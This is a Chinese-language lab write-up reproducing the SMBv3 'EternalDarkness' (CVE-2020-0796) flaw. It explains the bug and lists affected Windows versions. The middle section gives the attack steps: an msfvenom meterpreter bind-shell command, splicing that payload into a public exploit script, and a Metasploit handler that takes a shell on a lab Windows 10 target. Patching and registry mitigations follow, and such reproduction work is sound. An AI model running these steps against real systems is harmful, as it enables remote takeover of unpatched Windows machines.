永恒之黑：CVE-2020-0796漏洞复现

2017年，“永恒之蓝”，
3年之后，
“永恒之黑” 来了。
漏洞介绍
3月12日，微软披露了一个最新的SMBv3（3.1.1）远程代码执行漏洞（CVE-2020-0796），俗称“永恒之黑”。
本漏洞源于SMBv3没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。利用该漏洞，攻击方可直接远程攻击SMB服务端远程执行任意恶意代码，亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用，其危害不亚于永恒之蓝。
同时，CVE-2020-0796漏洞与“永恒之蓝”系列漏洞极为相似，都是利用Windows SMB漏洞远程攻击获取系统最高权限。漏洞危害等级：高危“永恒之黑”漏洞高危之处在于对SMB客户端的攻击，攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等，向攻击目标发送，一旦被攻击者打开则瞬间触发漏洞受到攻击。漏洞影响范围 Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows Server, Version 1903 (Server Core installation)Windows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows Server, Version 1909 (Server Core installation)
漏洞复现
想要复现这个永恒之黑，大家可以搭建靶机来完成，如下所示：
1、环境准备
Win10靶机：192.168.183.133
Kali 攻击机：192.168.183.136
一定要记住：关闭防火墙，关闭防火墙，关闭防火墙！！！
2、查看环境情况
Windows版本，按win r，在弹出窗口中，输入 winver

3、使用SMBGhost工具检测靶机是否存在漏洞
SMBGhost下载地址：https://github.com/ollypwn/SMBGhost

4、使用蓝屏payload，验证漏洞
蓝屏POC地址：https://github.com/chompie1337/SMBGhost_RCE_PoC
演示：蓝屏

以上的步骤成功证明漏洞存在。
5、利用msf生成exp反弹shell
msfvenom -p windows/x64/meterpreter/bind_tcpLPORT=4444 -b "x00" -i 1 -f python>exploit
打开蓝屏POC 的exploit.py 文件将生成的 USER_PAYLOAD 替换为生成的exp
（注意：buf 要替换为 USER_PAYLOAD）

蓝屏POC exploit 实况图

Msf生成exp实况图

修改exploit.py 文件 实况图
6、设置msf监听
usepayload windows/x64/meterpreter/bind_tcpsetlport 监听端口Setrhost 目标ip

run/exploit 执行监听
7、运行修改之后的exp
python3 exploit.py -ip 目标ip

成功反弹meterpreter，执行shell命令查看IP地址为win10机器地址

漏洞修复
1、更新系统、完成补丁的安装：操作步骤：设置->更新和安全->Windows更新，点击“检查更新”。2、不更新系统的临时应对方法：运行regedit.exe，打开注册表编辑器，在HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。3、封禁SMB通信445端口。永恒之蓝复现：MS17-010漏洞回顾